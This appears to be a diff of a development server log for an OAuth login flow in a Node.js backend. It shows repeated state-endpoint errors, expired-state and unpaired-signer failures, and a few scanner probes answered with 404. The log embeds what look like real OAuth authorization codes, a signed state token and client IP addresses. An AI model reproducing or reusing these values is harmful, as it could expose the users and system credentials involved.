(/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + - ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters - }, - request: { - body: { - next_url: 'https://lecoffreio.4nkweb.com/authorized-client' - }, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758708790042_b74dymdc3' -} -❌ [ERROR] 2025-09-24T10:13:10.044Z HTTP POST /api/v1/idnot/state - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758708790042_b74dymdc3', - response: { - statusCode: 500 - } -} -❌ [ERROR] 2025-09-24T10:13:51.545Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'next_url host not allowed', - name: 'Error', - stack: 'Error: next_url host not allowed\n' + - ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + - ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters - }, - request: { - body: { - next_url: 'https://lecoffreio.4nkweb.com/authorized-client' - }, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758708831544_j8txn0513' -} -❌ [ERROR] 2025-09-24T10:13:51.547Z HTTP POST /api/v1/idnot/state - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758708831544_j8txn0513', - response: { - statusCode: 500 - } -} -ℹ️ [INFO] 2025-09-24T10:15:15.194Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758708915192_9y8qye4kr', - response: { - statusCode: 200 - } -} -❌ [ERROR] 2025-09-24T10:18:59.808Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: "Expected property name or '}' in JSON at position 1 (line 1 column 2)", - name: 'SyntaxError', - stack: "SyntaxError: Expected property name or '}' in JSON at position 1 (line 1 column 2)\n" + - ' at JSON.parse ()\n' + - ' at parse (/home/ank/dev/lecoffre-back-mini/node_modules/body-parser/lib/types/jso'... 632 more characters - }, - request: { - body: {}, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758709139807_4q5qihz83' -} -❌ [ERROR] 2025-09-24T10:18:59.912Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: "Expected property name or '}' in JSON at position 1 (line 1 column 2)", - name: 'SyntaxError', - stack: "SyntaxError: Expected property name or '}' in JSON at position 1 (line 1 column 2)\n" + - ' at JSON.parse ()\n' + - ' at parse (/home/ank/dev/lecoffre-back-mini/node_modules/body-parser/lib/types/jso'... 632 more characters - }, - request: { - body: {}, - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758709139911_2i5wacr3j' -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=fake&state=null', - method: 'HEAD', - query: { - code_present: true, - code_length: 4, - state_present: true, - state_length: 4 - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '92.243.24.12', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-24T10:19:00.038Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'Invalid state format', - name: 'Error', - stack: 'Error: Invalid state format\n' + - ' at Object.verifyState (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:70:19)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handl'... 1454 more characters - }, - request: { - body: {}, - ip: '::ffff:127.0.0.1', - method: 'HEAD', - url: '/idnot/callback?code=fake&state=null', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758709140037_neb8qywmn' -} -❌ [ERROR] 2025-09-24T10:19:00.039Z HTTP HEAD /idnot/callback?code=fake&state=null - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'HEAD', - url: '/idnot/callback?code=fake&state=null', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758709140037_neb8qywmn', - response: { - statusCode: 500 - } -} -❌ [ERROR] 2025-09-24T10:20:34.290Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'next_url host not allowed', - name: 'Error', - stack: 'Error: next_url host not allowed\n' + - ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + - ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters - }, - request: { - body: { - next_url: 'https://lecoffreio.4nkweb.com/authorized-client' - }, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758709234289_zvj3iukxo' -} -❌ [ERROR] 2025-09-24T10:20:34.291Z HTTP POST /api/v1/idnot/state - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758709234289_zvj3iukxo', - response: { - statusCode: 500 - } -} -❌ [ERROR] 2025-09-24T10:20:46.142Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'next_url host not allowed', - name: 'Error', - stack: 'Error: next_url host not allowed\n' + - ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + - ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters - }, - request: { - body: { - next_url: 'https://lecoffreio.4nkweb.com/authorized-client' - }, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758709246142_uph0sxbkt' -} -❌ [ERROR] 2025-09-24T10:20:46.143Z HTTP POST /api/v1/idnot/state - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758709246142_uph0sxbkt', - response: { - statusCode: 500 - } -} -ℹ️ [INFO] 2025-09-24T10:22:10.516Z SIGTERM received, shutting down gracefully -[dotenv@17.2.2] injecting env (40) from .env -- tip: 🔐 prevent committing .env to code: https://dotenvx.com/precommit -ℹ️ [INFO] 2025-09-24T10:22:11.238Z Initializing Signer service -Server started on port 8080 -✅ Connected to SDK Signer server -ℹ️ [INFO] 2025-09-24T10:22:11.253Z Signer connected -ℹ️ [INFO] 2025-09-24T10:22:11.254Z Signer connected -ℹ️ [INFO] 2025-09-24T10:22:11.254Z Signer service initialized -Server error: Device not paired -Full error response: { - "type": "ERROR", - "error": "Device not paired", - "messageId": "msg_1758709361249_j1m0ykcur" -} -❌ [ERROR] 2025-09-24T10:22:41.253Z Signer WebSocket error -──────────────────────────────────────────────────────────────────────────────── -{ - error: 'Device not paired' -} -❌ [ERROR] 2025-09-24T10:22:41.253Z Signer connection error -──────────────────────────────────────────────────────────────────────────────── -{ - error: 'Device not paired' -} -⚠️ [WARN] 2025-09-24T10:22:41.254Z Signer disconnected - reconnecting... -⚠️ [WARN] 2025-09-24T10:22:41.254Z Signer disconnected -⚠️ [WARN] 2025-09-24T10:22:41.254Z Signer health check failed - connection may be stale -──────────────────────────────────────────────────────────────────────────────── -{ - error: 'Server error for GET_PAIRING_ID: Device not paired' -} -ℹ️ [INFO] 2025-09-24T10:25:07.860Z HTTP POST /api/v1/idnot/state - 200 +❌ [ERROR] 2025-09-24T20:11:30.454Z HTTP GET /authorized-client?code=test&state=test - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 8, request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', + ip: '::1', + method: 'GET', + url: '/authorized-client?code=test&state=test', userAgent: 'curl/7.74.0' }, - requestId: 'req_1758709507836_xdo4lv33f', - response: { - statusCode: 200 - } -} -ℹ️ [INFO] 2025-09-24T10:25:18.090Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758709518087_ou6jmdpno', - response: { - statusCode: 200 - } -} -❌ [ERROR] 2025-09-24T10:34:26.922Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'next_url host not allowed', - name: 'Error', - stack: 'Error: next_url host not allowed\n' + - ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + - ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters - }, - request: { - body: { - next_url: 'https://dev4.4nkweb.com/authorized-client' - }, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758710066904_27m9n7w60' -} -❌ [ERROR] 2025-09-24T10:34:26.925Z HTTP POST /api/v1/idnot/state - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 15, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758710066904_27m9n7w60', + requestId: 'req_1758744690445_bnzxksyst', response: { statusCode: 500 } } -❌ [ERROR] 2025-09-24T10:34:27.017Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'next_url host not allowed', - name: 'Error', - stack: 'Error: next_url host not allowed\n' + - ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + - ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters - }, - request: { - body: { - next_url: 'https://dev4.4nkweb.com/authorized-client' - }, - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758710067015_3kjktqu9g' +Server error: Device not paired +Full error response: { + "type": "ERROR", + "error": "Device not paired", + "messageId": "msg_1758744717783_97sau1bq8" } -❌ [ERROR] 2025-09-24T10:34:27.018Z HTTP POST /api/v1/idnot/state - 500 +❌ [ERROR] 2025-09-24T20:11:57.802Z Signer WebSocket error ──────────────────────────────────────────────────────────────────────────────── { - duration: 2, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758710067015_3kjktqu9g', - response: { - statusCode: 500 - } + error: 'Device not paired' } -❌ [ERROR] 2025-09-24T10:47:37.979Z Unhandled error +❌ [ERROR] 2025-09-24T20:11:57.803Z Signer connection error ──────────────────────────────────────────────────────────────────────────────── { - error: { - message: "Expected property name or '}' in JSON at position 1 (line 1 column 2)", - name: 'SyntaxError', - stack: "SyntaxError: Expected property name or '}' in JSON at position 1 (line 1 column 2)\n" + - ' at JSON.parse ()\n' + - ' at parse (/home/ank/dev/lecoffre-back-mini/node_modules/body-parser/lib/types/jso'... 632 more characters - }, - request: { - body: {}, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758710857977_3x2tff0uc' + error: 'Device not paired' } -❌ [ERROR] 2025-09-24T10:47:38.066Z Unhandled error +⚠️ [WARN] 2025-09-24T20:11:57.803Z Signer disconnected - reconnecting... +⚠️ [WARN] 2025-09-24T20:11:57.803Z Signer disconnected +⚠️ [WARN] 2025-09-24T20:11:57.804Z Signer health check failed - connection may be stale ──────────────────────────────────────────────────────────────────────────────── { - error: { - message: "Expected property name or '}' in JSON at position 1 (line 1 column 2)", - name: 'SyntaxError', - stack: "SyntaxError: Expected property name or '}' in JSON at position 1 (line 1 column 2)\n" + - ' at JSON.parse ()\n' + - ' at parse (/home/ank/dev/lecoffre-back-mini/node_modules/body-parser/lib/types/jso'... 632 more characters - }, - request: { - body: {}, - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758710858066_ifwqr8nuh' -} -ℹ️ [INFO] 2025-09-24T10:49:25.159Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758710965156_bo5sx3ixk', - response: { - statusCode: 200 - } -} -ℹ️ [INFO] 2025-09-24T10:49:41.619Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758710981618_ebi2gpw1s', - response: { - statusCode: 200 - } -} -❌ [ERROR] 2025-09-24T10:51:22.782Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'next_url host not allowed', - name: 'Error', - stack: 'Error: next_url host not allowed\n' + - ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + - ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters - }, - request: { - body: { - next_url: 'https://dev4.4nkweb.com/authorized-client' - }, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0' - }, - requestId: 'req_1758711082780_j597urba0' -} -❌ [ERROR] 2025-09-24T10:51:22.784Z HTTP POST /api/v1/idnot/state - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0' - }, - requestId: 'req_1758711082780_j597urba0', - response: { - statusCode: 500 - } -} -ℹ️ [INFO] 2025-09-24T11:01:58.450Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758711718448_di1jkndj4', - response: { - statusCode: 200 - } -} -ℹ️ [INFO] 2025-09-24T11:01:58.565Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758711718563_hcmejk267', - response: { - statusCode: 200 - } + error: 'Server error for GET_PAIRING_ID: Device not paired' } [IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', - method: 'GET', + originalUrl: '/authorized-client?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu24p1Z5BvQc_29RVrF8CKkZhjKsvXLxN9cUISi34ZVArPLYyM01CYe3Uz5NGYg8xS5yzwP2JHkO-jUXIgHEIvZh0tHXACthl0LW1SZ2oZDvMNzOsutgMM6K51SOkgdQaE73YL4TaMD7xemsEvduXR31EoturtACt49vF2_UMcEcUawDDGuuzRobwEpsiMbCP92fc_9i_TRlEwB-1Zx4wP0R4Gv_J0S544ceyPhEMFZcQN0Xn2fkpdpyd27_c3tUug-AENpFit25EBfy6dk2JyifWaKGLJVqqTjzemNbcGtw6Cx-xE8_Warl3MjVks0eRDpnHSzPWKvNfceCr82W7j_19OodAZk8yMSOA4PPeeyytvL5AG_iHklhQ7z3YnP3XrKbIYWMeRFwvSlrHUe5ubEKwma24OlK269veQW_4R1mokvl9iNgFt6xQ8T398SQend9AdAEC75WKl0PKFraVI69jyF1DoqzQrZKqESsk1oLpvSLYslklSNQKsKB8cxx4qz2H_HPlf0izqhwlu_Kyn_WHhMcqxvNSGGdZ2en_dT2nweT3Q8kEXN1mItZIZugSIU&state=eyJuZXh0X3VybCI6Imh0dHBzOi8vZGV2NC40bmt3ZWIuY29tL2F1dGhvcml6ZWQtY2xpZW50Iiwibm9uY2UiOiJjOGYwYTliNWQxMDE0NmRkNThlZGQ4NDk1ZjBlNjM2YSIsInRzIjoxNzU4NzQ0NDgyOTQwfQ.TsvjFvbs3N72YvzsHv2aapYyyn2M8kxPZgDbZz9AY6M', + method: 'HEAD', query: { code_present: true, code_length: 619, - state_present: false, - state_length: undefined + state_present: true, + state_length: 202 }, headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '37.167.14.251', + host: 'lecoffreio.4nkweb.com', + 'x-forwarded-for': '31.33.24.235', 'x-forwarded-proto': 'https' } } -❌ [ERROR] 2025-09-24T11:03:39.390Z Application error occurred +❌ [ERROR] 2025-09-24T20:12:18.286Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758711819389_nf34png2h' -} -❌ [ERROR] 2025-09-24T11:03:39.392Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 3, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758711819389_nf34png2h', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-24T11:03:49.801Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'next_url host not allowed', + message: 'State expired', name: 'Error', - stack: 'Error: next_url host not allowed\n' + - ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + - ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters + stack: 'Error: State expired\n' + + ' at Object.verifyState (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:81:19)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:'... 1447 more characters }, request: { - body: { - next_url: 'https://dev4.4nkweb.com/authorized-client' - }, + body: {}, ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758711829800_f8l7fdg5v' -} -❌ [ERROR] 2025-09-24T11:03:49.802Z HTTP POST /api/v1/idnot/state - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758711829800_f8l7fdg5v', - response: { - statusCode: 500 - } -} -❌ [ERROR] 2025-09-24T11:03:53.921Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'next_url host not allowed', - name: 'Error', - stack: 'Error: next_url host not allowed\n' + - ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + - ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters - }, - request: { - body: { - next_url: 'https://dev4.4nkweb.com/authorized-client' - }, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758711833920_50d813ejt' -} -❌ [ERROR] 2025-09-24T11:03:53.921Z HTTP POST /api/v1/idnot/state - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758711833920_50d813ejt', - response: { - statusCode: 500 - } -} -ℹ️ [INFO] 2025-09-24T11:08:45.074Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758712125073_9bz1sg77c', - response: { - statusCode: 200 - } -} -❌ [ERROR] 2025-09-24T11:09:08.000Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'next_url host not allowed', - name: 'Error', - stack: 'Error: next_url host not allowed\n' + - ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + - ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters - }, - request: { - body: { - next_url: 'https://dev4.4nkweb.com/authorized-client' - }, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758712147999_qawqb01l3' -} -❌ [ERROR] 2025-09-24T11:09:08.001Z HTTP POST /api/v1/idnot/state - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758712147999_qawqb01l3', - response: { - statusCode: 500 - } -} -❌ [ERROR] 2025-09-24T11:09:55.041Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758712195039_lvmz6uq2a', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T11:15:39.886Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:45.135.193.100', - method: 'GET', - url: '/', - userAgent: undefined - }, - requestId: 'req_1758712539885_sn4n0i98z', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T11:20:13.564Z HTTP GET /https://'+location.hostname+': - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:89.248.168.227', - method: 'GET', - url: "/https://'+location.hostname+':", - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36' - }, - requestId: 'req_1758712813562_xltodt85j', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T12:17:08.177Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'next_url host not allowed', - name: 'Error', - stack: 'Error: next_url host not allowed\n' + - ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + - ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters - }, - request: { - body: { - next_url: 'https://dev4.4nkweb.com/authorized-client' - }, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758716228176_gfdvb3lcc' -} -❌ [ERROR] 2025-09-24T12:17:08.178Z HTTP POST /api/v1/idnot/state - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758716228176_gfdvb3lcc', - response: { - statusCode: 500 - } -} -❌ [ERROR] 2025-09-24T12:17:08.996Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: 